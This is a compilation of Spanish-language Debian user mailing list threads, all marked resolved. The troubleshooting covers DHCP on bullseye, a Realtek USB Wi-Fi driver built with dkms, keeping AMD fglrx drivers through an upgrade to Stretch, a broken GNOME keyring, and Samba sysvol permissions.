RE: IP por DHCP dejó de funcionar en Debian "bullseye" [RESUELTO - Por ahora...]

[Marcelo Olcese (Gmail)]

Hola,
Con el kernel 5.10.0-16 tuve varios problemas.
Lo instalé  Debian 11 en 3 Hp Proliant DL3810 G7 con 64ram, en uno me dió 
problemas luego de una actu del kernel... Hice mvarias pruebas y no se 
solucionaba hasta que opté  por bajar e instalar 5.16.0-0.bpo.3-amd64, por 
ahora no tengo problemas y los que tenía se solucionaron.

Sldos,
Marcelo.-

-Mensaje original-
De: JavierDebian [mailto:javier.debian.bb...@gmail.com] 
Enviado el: lunes, 22 de agosto de 2022 18:06
Para: debian-user-spanish@lists.debian.org
Asunto: Re: IP por DHCP dejó de funcionar en Debian "bullseye" [RESUELTO - Por 
ahora...]



El 19/8/22 a las 03:45, Camaleón escribió:
> El 2022-08-18 a las 21:59 -0300, JavierDebian escribió:
> 
>> Buenas noches.
>>
>> Me ha pasado algo extraño.
>> Debian 11 "bullseye" con kernel 5.10.0-16-amd64.
>> Network-manager prohibido en el sistema, lo odio porque hace lo que quiere.
>> Computadora que funciona desde hace 6 años con configuración de red 
>> por DHCP automática, configurado "a mano" por interfaces.
>> resolvconf corriendo como demonio.
>>
>> Hace un par de días, se puso remolona para tomar dirección IP. 
>> Reiniciado el enrutador y el equipo un par de veces, lo achaqué a 
>> problemas del enrutador o del servicio provisto por mi ISP, un CISCO 
>> Technicolor DPC3848VE DOCSIS 3.0, empresa Flow/Personal/Fibertel Argentina.
> 
> El problema de tener el servidor de DHCP en equipos restringidos 
> (routers, switches o dispositivos integrados) es que apenas permiten 
> depurar los errores en caso de presentarse problemas.
> 
>> Hoy hizo lo mismo; intenté la solución anterior y no hubo caso.
>> Cambié cable de conexión, sin éxito.
>> "¿Será la placa de red?"
>> Arranqué Windows desde otra partición; conexión impecable, no es ni 
>> el cable ni la placa ni el enrutador.
>> Arranco un SystemRescueCD, y toma la dirección sin problemas.
>> Vuelvo a Debian, no toma dirección IP.
>> Levanto una máquina VirtualBox en Debian que corre un Win7 con la red 
>> en modo puente... toma la dirección sin inconvenientes
>>
>> Configuro la red en forma manual, con IP fija y todo a mano
>> Funciona sin inconvenientes.
>>
>> Vuelvo atrás, a configurar por DHCP automático; no funciona, pero 
>> sólo en Debian 11.
>> Cambio a kernel 5.10.0-13, no sea que el kernel nuevo tenga algún 
>> problema, aún siendo "stable"; sigue sin funcionar.
>>
>> Ahora estoy en modo IP estático, funcionando sin problemas... salvo 
>> que no puedo volver a DHCP dinámico, porque no funciona.
>>
>> Para usar la máquina, no me afecta, pero... NO ME GUSTA QUE EL 
>> SISTEMA HAGA COSAS QUE NO DEBERÍA HACER, O NO HAGA LO QUE SÍ.
>>
>> Seguiré investigando.
>>
>> Si a alguno le pasó algo así, escucho sugerencias.
> 
> Yo probaría lo siguiente:
> 
> 1. Fuerza la renovación de la IP, a ver si el Cisco le asigna otra 
> nueva y se puede configurar el adaptador de red sin problemas.
> 
> Dependiendo de qué cliente dhcp uses (hoy en día me pierdo con tantas
> opciones: systemd, dhclient, network-manager...) tendrás que hacer una 
> cosa u otra para renovar los datos del adaptador:
> 
> Linux Force DHCP Client (dhclient) to Renew IP Address 
> https://www.cyberciti.biz/faq/howto-linux-renew-dhcp-client-ip-address
> /
> 
> 2. A modo de prueba, y si te resulta posible, configura otro servidor 
> o sistema (router/switch) como servidor DHCP (desconecta el Cisco de 
> la red para evitar conflictos) a ver si el Debian 11 puede 
> configurarse preguntando a otro servidor.
> 
> 3. Revisa los registros para ver qué puede estar fallando (syslog,
> journalctl) o intenta configurar el adpatador de red desde línea de 
> órdenes (con dhclient -v...) para ver si tienes más información del 
> problema, recibes un timeout, etc...
> 
> Saludos,
> 


Tomando en cuenta las indicaciones de Camaleón, procedí a:

1 - Eliminar resolvconf, avahi-autoipd, isc-dhcp-client-ddns e isc-dhcp-client. 
O sea, todo lo que tenga que ver con manejos automágicos de redes, excepto 
systemd, por supuesto... (network-manager está prohibido en mi sistema).

2 - Reinstalar resolvconf e isc-dhcp-client.

3 - Reconfigurar nuevamente /etc/interfaces para dirección IP por DHCP.

4 - Reiniciar el equipo.

Mágicamente, funciona.

Ayer pasó lo mismo en otra máquina que tiene mi hija en su habitación; empezó a 
no resolver IP. Y ayer, justamente, fue "día de actualización de la PC de la 
niña".

Me huelo a alguna actualización o instalación de algo (?) que desbarató algo 
otro (?).

Gracias.

JAP

Re: IP por DHCP dejó de funcionar en Debian "bullseye" [RESUELTO - Por ahora...]

[Antonio Galicia]

El lun, 22 ago 2022 a la(s) 16:22, Yoel Villarreal (yoe...@nauta.cu) escribió:
>
> Quizás no fue algo "roto". Quizás fue que no leímos el changelog.

El top posting no es lindo

Y yo tampoco leí el change log. ¿Qué dice que cambió?

 Saludos,
 Antonio Galicia

Eram quod es, eris quod sum
--

Re: IP por DHCP dejó de funcionar en Debian "bullseye" [RESUELTO - Por ahora...]

[Yoel Villarreal]

El 22 de agosto de 2022 5:06:57 p. m. JavierDebian 
 escribió:



El 19/8/22 a las 03:45, Camaleón escribió:

El 2022-08-18 a las 21:59 -0300, JavierDebian escribió:


Buenas noches.

Me ha pasado algo extraño.
Debian 11 "bullseye" con kernel 5.10.0-16-amd64.
Network-manager prohibido en el sistema, lo odio porque hace lo que quiere.
Computadora que funciona desde hace 6 años con configuración de red por DHCP
automática, configurado "a mano" por interfaces.
resolvconf corriendo como demonio.

Hace un par de días, se puso remolona para tomar dirección IP. Reiniciado el
enrutador y el equipo un par de veces, lo achaqué a problemas del enrutador
o del servicio provisto por mi ISP, un CISCO Technicolor DPC3848VE DOCSIS
3.0, empresa Flow/Personal/Fibertel Argentina.


El problema de tener el servidor de DHCP en equipos restringidos
(routers, switches o dispositivos integrados) es que apenas permiten
depurar los errores en caso de presentarse problemas.


Hoy hizo lo mismo; intenté la solución anterior y no hubo caso.
Cambié cable de conexión, sin éxito.
"¿Será la placa de red?"
Arranqué Windows desde otra partición; conexión impecable, no es ni el cable
ni la placa ni el enrutador.
Arranco un SystemRescueCD, y toma la dirección sin problemas.
Vuelvo a Debian, no toma dirección IP.
Levanto una máquina VirtualBox en Debian que corre un Win7 con la red en
modo puente... toma la dirección sin inconvenientes

Configuro la red en forma manual, con IP fija y todo a mano
Funciona sin inconvenientes.

Vuelvo atrás, a configurar por DHCP automático; no funciona, pero sólo en
Debian 11.
Cambio a kernel 5.10.0-13, no sea que el kernel nuevo tenga algún problema,
aún siendo "stable"; sigue sin funcionar.

Ahora estoy en modo IP estático, funcionando sin problemas... salvo que no
puedo volver a DHCP dinámico, porque no funciona.

Para usar la máquina, no me afecta, pero... NO ME GUSTA QUE EL SISTEMA HAGA
COSAS QUE NO DEBERÍA HACER, O NO HAGA LO QUE SÍ.

Seguiré investigando.

Si a alguno le pasó algo así, escucho sugerencias.


Yo probaría lo siguiente:

1. Fuerza la renovación de la IP, a ver si el Cisco le asigna otra
nueva y se puede configurar el adaptador de red sin problemas.

Dependiendo de qué cliente dhcp uses (hoy en día me pierdo con tantas
opciones: systemd, dhclient, network-manager...) tendrás que hacer una
cosa u otra para renovar los datos del adaptador:

Linux Force DHCP Client (dhclient) to Renew IP Address
https://www.cyberciti.biz/faq/howto-linux-renew-dhcp-client-ip-address/

2. A modo de prueba, y si te resulta posible, configura otro servidor o
sistema (router/switch) como servidor DHCP (desconecta el Cisco de la
red para evitar conflictos) a ver si el Debian 11 puede configurarse
preguntando a otro servidor.

3. Revisa los registros para ver qué puede estar fallando (syslog,
journalctl) o intenta configurar el adpatador de red desde línea de
órdenes (con dhclient -v...) para ver si tienes más información del
problema, recibes un timeout, etc...

Saludos,




Tomando en cuenta las indicaciones de Camaleón, procedí a:

1 - Eliminar resolvconf, avahi-autoipd, isc-dhcp-client-ddns e
isc-dhcp-client. O sea, todo lo que tenga que ver con manejos
automágicos de redes, excepto systemd, por supuesto... (network-manager
está prohibido en mi sistema).

2 - Reinstalar resolvconf e isc-dhcp-client.

3 - Reconfigurar nuevamente /etc/interfaces para dirección IP por DHCP.

4 - Reiniciar el equipo.

Mágicamente, funciona.

Ayer pasó lo mismo en otra máquina que tiene mi hija en su habitación;
empezó a no resolver IP. Y ayer, justamente, fue "día de actualización
de la PC de la niña".

Me huelo a alguna actualización o instalación de algo (?) que desbarató
algo otro (?).

Gracias.

JAP

Quizás no fue algo "roto". Quizás fue que no leímos el changelog.

Enviado con Aqua Mail para Android
https://www.aqua-mail.com

Re: IP por DHCP dejó de funcionar en Debian "bullseye" [RESUELTO - Por ahora...]

[JavierDebian]

El 19/8/22 a las 03:45, Camaleón escribió:

El 2022-08-18 a las 21:59 -0300, JavierDebian escribió:


Buenas noches.

Me ha pasado algo extraño.
Debian 11 "bullseye" con kernel 5.10.0-16-amd64.
Network-manager prohibido en el sistema, lo odio porque hace lo que quiere.
Computadora que funciona desde hace 6 años con configuración de red por DHCP
automática, configurado "a mano" por interfaces.
resolvconf corriendo como demonio.

Hace un par de días, se puso remolona para tomar dirección IP. Reiniciado el
enrutador y el equipo un par de veces, lo achaqué a problemas del enrutador
o del servicio provisto por mi ISP, un CISCO Technicolor DPC3848VE DOCSIS
3.0, empresa Flow/Personal/Fibertel Argentina.


El problema de tener el servidor de DHCP en equipos restringidos
(routers, switches o dispositivos integrados) es que apenas permiten
depurar los errores en caso de presentarse problemas.


Hoy hizo lo mismo; intenté la solución anterior y no hubo caso.
Cambié cable de conexión, sin éxito.
"¿Será la placa de red?"
Arranqué Windows desde otra partición; conexión impecable, no es ni el cable
ni la placa ni el enrutador.
Arranco un SystemRescueCD, y toma la dirección sin problemas.
Vuelvo a Debian, no toma dirección IP.
Levanto una máquina VirtualBox en Debian que corre un Win7 con la red en
modo puente... toma la dirección sin inconvenientes

Configuro la red en forma manual, con IP fija y todo a mano
Funciona sin inconvenientes.

Vuelvo atrás, a configurar por DHCP automático; no funciona, pero sólo en
Debian 11.
Cambio a kernel 5.10.0-13, no sea que el kernel nuevo tenga algún problema,
aún siendo "stable"; sigue sin funcionar.

Ahora estoy en modo IP estático, funcionando sin problemas... salvo que no
puedo volver a DHCP dinámico, porque no funciona.

Para usar la máquina, no me afecta, pero... NO ME GUSTA QUE EL SISTEMA HAGA
COSAS QUE NO DEBERÍA HACER, O NO HAGA LO QUE SÍ.

Seguiré investigando.

Si a alguno le pasó algo así, escucho sugerencias.


Yo probaría lo siguiente:

1. Fuerza la renovación de la IP, a ver si el Cisco le asigna otra
nueva y se puede configurar el adaptador de red sin problemas.

Dependiendo de qué cliente dhcp uses (hoy en día me pierdo con tantas
opciones: systemd, dhclient, network-manager...) tendrás que hacer una
cosa u otra para renovar los datos del adaptador:

Linux Force DHCP Client (dhclient) to Renew IP Address
https://www.cyberciti.biz/faq/howto-linux-renew-dhcp-client-ip-address/

2. A modo de prueba, y si te resulta posible, configura otro servidor o
sistema (router/switch) como servidor DHCP (desconecta el Cisco de la
red para evitar conflictos) a ver si el Debian 11 puede configurarse
preguntando a otro servidor.

3. Revisa los registros para ver qué puede estar fallando (syslog,
journalctl) o intenta configurar el adpatador de red desde línea de
órdenes (con dhclient -v...) para ver si tienes más información del
problema, recibes un timeout, etc...

Saludos,




Tomando en cuenta las indicaciones de Camaleón, procedí a:

1 - Eliminar resolvconf, avahi-autoipd, isc-dhcp-client-ddns e 
isc-dhcp-client. O sea, todo lo que tenga que ver con manejos 
automágicos de redes, excepto systemd, por supuesto... (network-manager 
está prohibido en mi sistema).


2 - Reinstalar resolvconf e isc-dhcp-client.

3 - Reconfigurar nuevamente /etc/interfaces para dirección IP por DHCP.

4 - Reiniciar el equipo.

Mágicamente, funciona.

Ayer pasó lo mismo en otra máquina que tiene mi hija en su habitación; 
empezó a no resolver IP. Y ayer, justamente, fue "día de actualización 
de la PC de la niña".


Me huelo a alguna actualización o instalación de algo (?) que desbarató 
algo otro (?).


Gracias.

JAP

Re: wifi-usb Nisuta/Realtec en Debian [RESUELTO] y una duda...

[Daniel]

Muchisimas gracias Camateón y a la lista en general, sin duda.

Ya todo actualizado y sin problemas.


El 10/3/22 a las 03:59, Camaleón escribió:

El 2022-03-09 a las 19:40 -0300, Daniel escribió:

(...)


Aquí la duda, de desconfiado solamente: menos de un minuto después de
reiniciar y conectar aparece el aviso de actualizaciones de seguridad
disponibles y (la duda es si puede ser simple casualidad o qué, por las
dudas las dejé pendientes todavía). Me indica que lo actualizable es a nivel
de kernel. Detalle en Synaptic:

nux-compiler-gcc-10-x86 (versión5.10.92-2) será actualizado a la versión
5.10.103-1
linux-headers-amd64 (versión5.10.92-2) será actualizado a la versión
5.10.103-1
linux-image-amd64 (versión5.10.92-2) será actualizado a la versión
5.10.103-1
linux-kbuild-5.10 (versión5.10.92-2) será actualizado a la versión
5.10.103-1
linux-libc-dev (versión5.10.92-2) será actualizado a la versión 5.10.103-1
linux-headers-5.10.0-12-amd64 (versión 5.10.103-1) será instalado
linux-headers-5.10.0-12-common (versión 5.10.103-1) será instalado
linux-image-5.10.0-12-amd64 (versión 5.10.103-1) será instalado

Efectivamente, ayer hubo una actualización de seguridad del kernel ;-)

https://www.debian.org/security/2022/dsa-5095

Saludos,

Re: wifi-usb Nisuta/Realtec en Debian [RESUELTO] y una duda...

[Jhosue rui]

El mié, 9 mar 2022 a las 18:40, Daniel () escribió:
>
> Holas. Un logro, por fin de conectividad, que de hecho estoy usando, y
> al final una duda simple.

Me alegra.

>
> Recuerdo y sintetizo el caso del hilo "actualizar kernel para problema
> con wifi":
>
> Notebook Lenovo "ThinkPad L15 Gen 2" con i5-1135G7. Instalado Debian 11,
> kernel 5.10.0.11-amd64, KDE Plasma 5.20.5. que no reconoce la placa de
> WiFi (MediaTek Wi-Fi 6 MT7921).
>
> Dicha placa quedará para más adelante (no rendirme) hacerla funcionar.
> Por razones de tiempo se intenta con un "pen-wifi-usb" ("Nisuta
> NS-WIU300N" - chip "Realtek 8192EU") que es detectado y ve las redes
> presentes pero no se conecta.
>
> Pero gracias a la inestimable colaboración de esta lista (especialmente
> en esto Jhosue Rui), uso el link
>
> https://askubuntu.com/questions/1185483/wlan-connection-breaks-after-1-minute
>
> y sus conexos, especialmente
>
> https://easylinuxtipsproject.blogspot.com/p/realtek.html#ID9
>

De nada, esta tarjeta es toda una joya en términos de soporte...

> El procedimiento concretamente usado (desde consola $ con sudo pero
> estimo que con "su-" será lo mismo) es:
>
> Primero verificar la presencia ya de tres paquetes (si indica
> "instalados", listo, si no hay que instalarlos):
>
> $ apt list linux-headers-generic build-essential dkms git
>
> Luego bajo la versión "git" del controlador para el RealTec específico
> pero adaptado a kernel posteriores al 5. Estando en el directorio en que
> deseamos compilar provisoriamente el controlador:
>
> $ git clone https://github.com/clnhub/rtl8192eu-linux.git
>
> Baja el controlador y crea el directorio "rtl8192eu-linux". Nos movemos
> dentro de él:
>
> $ cd rtl8192eu-linux
>
> Y ahora sí ejecutamos:
>
> $ sudo dkms install rtl8192eu/1.0
>
> Luego operaciones con la lista de módulos que no deben cargarse:
>
> $ echo "blacklist rtl8xxxu" | sudo tee /etc/modprobe.d/rtl8xxxu.conf
>
> Luego reiniciar y listo.

Genial que publiques/compartas esto.

>
> Aquí la duda, de desconfiado solamente: menos de un minuto después de
> reiniciar y conectar aparece el aviso de actualizaciones de seguridad
> disponibles y (la duda es si puede ser simple casualidad o qué, por las
> dudas las dejé pendientes todavía). Me indica que lo actualizable es a
> nivel de kernel. Detalle en Synaptic:
>
> nux-compiler-gcc-10-x86 (versión5.10.92-2) será actualizado a la versión
> 5.10.103-1
> linux-headers-amd64 (versión5.10.92-2) será actualizado a la versión
> 5.10.103-1
> linux-image-amd64 (versión5.10.92-2) será actualizado a la versión
> 5.10.103-1
> linux-kbuild-5.10 (versión5.10.92-2) será actualizado a la versión
> 5.10.103-1
> linux-libc-dev (versión5.10.92-2) será actualizado a la versión 5.10.103-1
> linux-headers-5.10.0-12-amd64 (versión 5.10.103-1) será instalado
> linux-headers-5.10.0-12-common (versión 5.10.103-1) será instalado
> linux-image-5.10.0-12-amd64 (versión 5.10.103-1) será instalado
>

Sí, hubo una actualización.´

> Ya intentaré Jhosue, con la placa 🙂 No me apure si me quiere sacar bueno.

Yo pienso que lo de la interna va a ser más sencillo, pero cada uno a su paso.

>
> Saludos en general y gracias!
>
>
Hasta la próxima.

-- 

Por favor, NO utilice formatos de archivo propietarios para el
intercambio de documentos, como DOC y XLS, sino HTML, PDF, TXT, CSV o
cualquier otro que no obligue a utilizar un programa de un fabricante
en concreto.
Internet Explorer y Outlook son muy peligrosos por sus continuos
problemas de seguridad. Utilice alternativas libres:
http://www.mozillaes.org/

Usuario linux registrado #387231
http://counter.li.org

Por favor evite enviar adjuntos de powerpoint y word vea
http://www.gnu.org/philosophy/no-word-attachments.es.html

Re: wifi-usb Nisuta/Realtec en Debian [RESUELTO] y una duda...

[Camaleón]

El 2022-03-09 a las 19:40 -0300, Daniel escribió:

(...)

> Aquí la duda, de desconfiado solamente: menos de un minuto después de
> reiniciar y conectar aparece el aviso de actualizaciones de seguridad
> disponibles y (la duda es si puede ser simple casualidad o qué, por las
> dudas las dejé pendientes todavía). Me indica que lo actualizable es a nivel
> de kernel. Detalle en Synaptic:
> 
> nux-compiler-gcc-10-x86 (versión5.10.92-2) será actualizado a la versión
> 5.10.103-1
> linux-headers-amd64 (versión5.10.92-2) será actualizado a la versión
> 5.10.103-1
> linux-image-amd64 (versión5.10.92-2) será actualizado a la versión
> 5.10.103-1
> linux-kbuild-5.10 (versión5.10.92-2) será actualizado a la versión
> 5.10.103-1
> linux-libc-dev (versión5.10.92-2) será actualizado a la versión 5.10.103-1
> linux-headers-5.10.0-12-amd64 (versión 5.10.103-1) será instalado
> linux-headers-5.10.0-12-common (versión 5.10.103-1) será instalado
> linux-image-5.10.0-12-amd64 (versión 5.10.103-1) será instalado

Efectivamente, ayer hubo una actualización de seguridad del kernel ;-)

https://www.debian.org/security/2022/dsa-5095

Saludos,

-- 
Camaleón 

wifi-usb Nisuta/Realtec en Debian [RESUELTO] y una duda...

[Daniel]

Holas. Un logro, por fin de conectividad, que de hecho estoy usando, y 
al final una duda simple.


Recuerdo y sintetizo el caso del hilo "actualizar kernel para problema 
con wifi":


Notebook Lenovo "ThinkPad L15 Gen 2" con i5-1135G7. Instalado Debian 11, 
kernel 5.10.0.11-amd64, KDE Plasma 5.20.5. que no reconoce la placa de 
WiFi (MediaTek Wi-Fi 6 MT7921).


Dicha placa quedará para más adelante (no rendirme) hacerla funcionar. 
Por razones de tiempo se intenta con un "pen-wifi-usb" ("Nisuta 
NS-WIU300N" - chip "Realtek 8192EU") que es detectado y ve las redes 
presentes pero no se conecta.


Pero gracias a la inestimable colaboración de esta lista (especialmente 
en esto Jhosue Rui), uso el link


https://askubuntu.com/questions/1185483/wlan-connection-breaks-after-1-minute

y sus conexos, especialmente

https://easylinuxtipsproject.blogspot.com/p/realtek.html#ID9

El procedimiento concretamente usado (desde consola $ con sudo pero 
estimo que con "su-" será lo mismo) es:


Primero verificar la presencia ya de tres paquetes (si indica 
"instalados", listo, si no hay que instalarlos):


$ apt list linux-headers-generic build-essential dkms git

Luego bajo la versión "git" del controlador para el RealTec específico 
pero adaptado a kernel posteriores al 5. Estando en el directorio en que 
deseamos compilar provisoriamente el controlador:


$ git clone https://github.com/clnhub/rtl8192eu-linux.git

Baja el controlador y crea el directorio "rtl8192eu-linux". Nos movemos 
dentro de él:


$ cd rtl8192eu-linux

Y ahora sí ejecutamos:

$ sudo dkms install rtl8192eu/1.0

Luego operaciones con la lista de módulos que no deben cargarse:

$ echo "blacklist rtl8xxxu" | sudo tee /etc/modprobe.d/rtl8xxxu.conf

Luego reiniciar y listo.

Aquí la duda, de desconfiado solamente: menos de un minuto después de 
reiniciar y conectar aparece el aviso de actualizaciones de seguridad 
disponibles y (la duda es si puede ser simple casualidad o qué, por las 
dudas las dejé pendientes todavía). Me indica que lo actualizable es a 
nivel de kernel. Detalle en Synaptic:


nux-compiler-gcc-10-x86 (versión5.10.92-2) será actualizado a la versión 
5.10.103-1
linux-headers-amd64 (versión5.10.92-2) será actualizado a la versión 
5.10.103-1
linux-image-amd64 (versión5.10.92-2) será actualizado a la versión 
5.10.103-1
linux-kbuild-5.10 (versión5.10.92-2) será actualizado a la versión 
5.10.103-1

linux-libc-dev (versión5.10.92-2) será actualizado a la versión 5.10.103-1
linux-headers-5.10.0-12-amd64 (versión 5.10.103-1) será instalado
linux-headers-5.10.0-12-common (versión 5.10.103-1) será instalado
linux-image-5.10.0-12-amd64 (versión 5.10.103-1) será instalado

Ya intentaré Jhosue, con la placa 🙂 No me apure si me quiere sacar bueno.

Saludos en general y gracias!

Re: [ RESUELTO] AMD Radeon(TM) R2 en Jessie

[Julián Daich]

El 30/11/20 a las 9:56, Camaleón escribió:

Los metapaquetes tienen ese problema, que generan muchas dependencias, lo cual
es su función, por lo que si necesitas tener un sistema «fronkonstin» con
partes de distintos orígenes y versiones de paquetes, es mejor que no
instales metapquetes sino las versiones concretas.


Hola,

Eso se soluciona fáicl.
apt-mark manual dejar y se autodesimstalan>



«xserver-xorg-input-all» es un metapquete, que instala
«xserver-xorg-input-vmmouse» quizá de ahí el problema.

Un paquete del núcleo moderno no debería tener problemas con versiones
anteriores del servidor X o sus módulos. Quizá lo que te dé guerra es
manetener distintas versiones de «xserver-xorg-core», pero si no
necesitas esos paquetes «-input», siempre puedes optar por la solución
salomónica que es lo que has hecho: no instalarlos.


El mayor inconveniente parece es que se borra task-desktop que tiene 
muchas dependencias, pero se soluciona con lo de arriba.


Saludos,

Julián

--
Julian Daich 

Re: [ RESUELTO] AMD Radeon(TM) R2 en Jessie

[Camaleón]

El 2020-11-29 a las 23:59 +0200, Julián Daich escribió:

> Logré actualizar a Strecht y conservar el controlador AMD reteniendo
> paquetes

(...)

> sudo apt update
> sudo apt upgrade
> 
> Después de reinicio para ver que no haya problmeas
> sudo apt dist-upgrade
> 
> Ahora arranca con los dos núcleos y el controlador Catalyst como quería.
> 
> Solo un problemita. El núcleo 4.08 de Strecht no es compatible con
> xserever-xorg-input-vmmouse de Jessie y por ende con
> xserever-xorg-input-all. El reemplazo no se puede instalar por problemas de
> dependencias. Si instalo los dos paquetes de arriba me quedo solo con el
> núcleo 3.16 que no tiene soporte y si no los instalo da problemas solo si
> uso máquinas virtuales por lo que lo dejo así sin instalar.

Los metapaquetes tienen ese problema, que generan muchas dependencias, lo cual 
es su función, por lo que si necesitas tener un sistema «fronkonstin» con 
partes de distintos orígenes y versiones de paquetes, es mejor que no 
instales metapquetes sino las versiones concretas.

«xserver-xorg-input-all» es un metapquete, que instala 
«xserver-xorg-input-vmmouse» quizá de ahí el problema.

Un paquete del núcleo moderno no debería tener problemas con versiones 
anteriores del servidor X o sus módulos. Quizá lo que te dé guerra es 
manetener distintas versiones de «xserver-xorg-core», pero si no 
necesitas esos paquetes «-input», siempre puedes optar por la solución 
salomónica que es lo que has hecho: no instalarlos.

Saludos,

-- 
Camaleón 

Re: [ RESUELTO] AMD Radeon(TM) R2 en Jessie

[Julián Daich]

Hola,

Logré actualizar a Strecht y conservar el controlador AMD reteniendo 
paquetes


sudo apt-mark hold libgl1-fglrx-glx libfglrx fglrx-atieventsd 
fglrx-control fglrx-modules-dkms fglrx-driver glx-alternative-fglrx 
linux-headers-3.16.0-11-amd64 linux-headers-3.16.0-11-common 
linux-image-3.16.0-11-amd64 linux-kbuild-3.16


sudo apt-markmanual libgl1-fglrx-glx libfglrx fglrx-atieventsd 
fglrx-control fglrx-modules-dkms fglrx-driver glx-alternative-fglrx 
linux-headers-3.16.0-11-amd64 linux-headers-3.16.0-11-common 
linux-image-3.16.0-11-amd64 linux-kbuild-3.16


sudo sed -i 's/jessie/stretch/g' /etc/apt/sources.list

sudo apt update
sudo apt upgrade

Después de reinicio para ver que no haya problmeas
sudo apt dist-upgrade

Ahora arranca con los dos núcleos y el controlador Catalyst como quería.

Solo un problemita. El núcleo 4.08 de Strecht no es compatible con 
xserever-xorg-input-vmmouse de Jessie y por ende con 
xserever-xorg-input-all. El reemplazo no se puede instalar por problemas 
de dependencias. Si instalo los dos paquetes de arriba me quedo solo con 
el núcleo 3.16 que no tiene soporte y si no los instalo da problemas 
solo si uso máquinas virtuales por lo que lo dejo así sin instalar.


Saludos,

Julián


El 8/9/20 a las 12:30, Julián Daich escribió:



El 8/9/20 a las 10:50, Camaleón escribió:

Si quieres algo que funcione, no veo problemas para mantener el sistema
con Jessie, salvo que sea un equipo que tengas expuesto a Internet o
con funciones de servidor.



Hola,

Es un equipo de escritorio. No lo estoy usando mucho, pero cuando lo 
necesito me conecto a Internet.





El instalador de AMD pide expresamente Xorg hasta 1.10 que es el que usa
Jessie. Stretch viene con Xorg 1.19

Entonces mala solución le veo.

Pero no se sólo Xorg, también la versión del kernel. Estos son los
requisitos completos¹:

***
System Requirements
Before attempting to install the AMD Radeon Software Crimson Edition
Linux 15.11 Proprietary Graphics Driver, the following software must be
installed:

 Xorg/Xserver 7.4 and above (up to 1.17)
 Linux kernel 2.6 or above (up to 3.19)
 glibc version 2.2 or 2.3
 POSIX Shared Memory (/dev/shm) support is required for 3D 
applications


NOTE: If a Linux 2.6.11 or newer kernel was built with CONFIG_AGP
enabled, the kernel AGP frontend is required to load the fglrx kernel
module. To identify whether your kernel with CONFIG_AGP enabled, look
for CONFIG_AGP=y in the kernel config file, or if the 'agpgart' module
is loaded
***



Gracias por la info. Los deb FGLRX de Jessie fueron probados hasta el 
núcleo 4.2.



El kernel de Stretch es 4.9, tendrías que instalar una versión anterior
para poder compilar ese driver, de ahí mis malos augurios para la
combinación que buscas:-(



En la imagen en vivo no tuve problema para revertir Xorg a la versión de 
Jessie, pero los módulos de FGLRX no compilan bien y el problema puede 
ser porque parte del sistema está solo en modo lectura. Con otros 
módulos también dio problemas por esto último. APT no da problemas de 
dependencias por usar el núcleo 4.9 con fglrx-driver.


Puedo probar es volver a revertir la imagen en vivo al Xorg de Jessie e 
instalar el binario de AMD, pero dudo que sea confiable porque parte del 
sistema está en modo solo lectura.


Saludos,

Julián

¹

Saludos,




--
Julian Daich 

Re: [ RESUELTO] Núcleo en actualización de versión

[Julián Daich]

El 29/11/20 a las 9:51, Camaleón escribió:

El kernel anterior no tiene por qué eliminarse (normalmente no lo hace
porque es habitual tener distintas versiones instaladas, sin peligro de
conflictos con otros paquetes o bibliotecas), y si lo quiere hacer, si
la versión que tienes en jessie quiere eliminarse, abortas y listo.
El kernel es un paquete más de Debian y podrás trabajar con él
(actualizarlo, eliminarlo, instalar uno nuevo...) de manera
independiente y separadamente del resto de paquetes.


Hola,

En principio resuelto con

apt-mark hold 
apt-mark manual 

Con esto se debería evitar cualquier dependencia que rompa los paquetes 
y que no se borren por accidente.


Saludos,

Julián

--
Julian Daich 

RESUELTO: No me reconoce contraseña deposito de claves debian jessie.

[hector rodriguez]

con solo acceder a /home/hector/.gnome2/keyrings/, borrar
login.keyring y reiniciar quedo resuelto!
Sacos de gracias a todos! :) :) :) :) :) :) :) :) :)

-- Forwarded message --
From: Juan Lavieri 
Date: Mon, 3 Oct 2016 18:53:02 -0400
Subject: Re: No me reconoce contraseña deposito de claves debian jessie.
To: debian-user-spanish@lists.debian.org

Hola Héctor.


El 03-10-2016 a las 03:56 p.m., hector rodriguez escribió:
> Al tratar de actualizar a jessie por los repos, me dio una serie de
> errores que me hicieron decidir hacerlo por un cd de instalacion, todo
> bien hasta ese momento...
> Ahora al comenzar a ejecutar mis aplicaciones de correo y chat no me
> reconoce contraseña deposito de claves, con lo que no em permite
> utilizarlos.

¿Qué depósito de claves estás usando?

¿Cuál escritorio utilizas?

¿Como es que "actualizaste" un debian desde un cd de instalación? No
entiento, ¿ya estaba instalado?  o sea, ¿tenias un Debian wheezy y
decidiste actalizarlo a Jessie usando un cd?

Por favor disculpa pero al menos yo no entendí absolutamente nada de tu
planteamiento, ¿podrías redactarlo de otra manera?

> He googleado y no doy con una solución.

¿Qué es exactamente lo que has buscado en google?

> Alguien con alguna idea de como resolverlo
> Recontramuchisimas gracias por adelantado
> :)
>

Saludos.

-- 
Juan M Lavieri

Errar es de humanos, pero es mas humano culpar a los demás.




-- 
Cuando hables, procura que tus palabras sean mejores que tu silencio.

Re: Debian 8 KDE sin escritorio gráfico [resuelto]

[Pedro Herrero Garcia]

Buenas noches,

tras probar

dmesg --> sin errores
lspci -> aparece vga, es decir que hay drivers
less /var/log/Xorg.0.log | grep EE  ---> sin errores

y descubrir por casualidad que con la orden

'sudo startx'

arrancaba la cuenta de superusuario en modo gráfico,

y que al cambiar de usuario a una cuenta de prueba, esta última arrancaba
en modo gráfico sin problemas

y a la vez constatar que mi cuenta de usuario seguía sin arrancar en
gráfico con normalidad, concluí que lo más fácil era

borrar mi cuenta, y volverla a crear, tras copiar mis documentos y datos.


Y eso he hecho, lo cual supongo que cierra la consulta.


Gracias a quien haya leído esto

Pedro

Re: debian dañado ayuda: Resuelto

[Felipe Perry]

Si puedes luego sube un video porque es un problema bien común y puede
ayudar a muuuch*s

[RESUELTO] Samba 4 + RSAT + GPO

[Laotrasolucion]

El 09/08/16 a las 13:22, Camaleón escribió:
> El Tue, 09 Aug 2016 12:34:52 -0300, Laotrasolucion escribió:
> 
>> El 09/08/16 a las 11:58, Camaleón escribió:
> 
> (...)
> 
 Lo que si me pareció raro y corrijanme si no es así, es que la carpeta
 sysvol no tiene ACL definidos para grupos de AD. Pienso que deberia
 tener al menos los grupos de "domain admins" "domain users"


 root@pdc:/var/lib/samba# getfacl sysvol/
 # file: sysvol/
 # owner: root # group: root user::rwx group::rwx other::r-x


 Y cuando quiero crear un archivo en una unidad compartida, por ejemplo
 sysvol, me deja crearlo pero no me deja modificarlo o guardarlo.

 desde ya muchas gracias.
>>>
